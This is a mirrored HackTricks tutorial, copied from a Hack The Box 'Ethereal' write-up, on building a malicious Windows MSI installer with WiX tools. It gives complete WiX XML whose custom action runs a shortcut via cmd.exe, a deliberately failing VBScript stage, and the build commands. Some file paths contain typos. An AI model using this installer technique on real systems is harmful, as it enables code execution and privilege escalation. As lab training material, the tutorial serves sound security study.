mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 17:28:13 +00:00
90 lines
4.4 KiB
Markdown
90 lines
4.4 KiB
Markdown
|
||
|
||
<details>
|
||
|
||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
|
||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||
|
||
</details>
|
||
|
||
|
||
**Tutorial copied from** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\
|
||
In order to create the msi we will use [wixtools](http://wixtoolset.org) , you can use other msi builders but they didn’t work for me.\
|
||
Check [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) for some wix msi usage examples.\
|
||
We will create an msi that executes our lnk file :
|
||
|
||
```markup
|
||
<?xml version="1.0"?>
|
||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
||
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
|
||
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
|
||
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
|
||
<Directory Id="TARGETDIR" Name="SourceDir">
|
||
<Directory Id="ProgramFilesFolder">
|
||
<Directory Id="INSTALLLOCATION" Name="Example">
|
||
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
|
||
</Component>
|
||
</Directory>
|
||
</Directory>
|
||
</Directory>
|
||
<Feature Id="DefaultFeature" Level="1">
|
||
<ComponentRef Id="ApplicationFiles"/>
|
||
</Feature>
|
||
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
|
||
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
|
||
Impersonate="yes"/>
|
||
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
|
||
fail_here
|
||
</CustomAction>
|
||
<InstallExecuteSequence>
|
||
<Custom Action="Stage1" After="InstallInitialize"></Custom>
|
||
<Custom Action="Stage2" Before="InstallFiles"></Custom>
|
||
</InstallExecuteSequence>
|
||
</Product>
|
||
</Wix>
|
||
```
|
||
|
||
We will use `candle.exe` from wixtools to create a wixobject from `msi.xml`
|
||
|
||
```markup
|
||
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
||
```
|
||
|
||
![](https://0xrick.github.io/images/hackthebox/ethereal/65.png)
|
||
|
||
Then we will use `light.exe` to create the msi file from the wixobject:
|
||
|
||
```markup
|
||
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
||
```
|
||
|
||
![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
|
||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||
|
||
</details>
|
||
|
||
|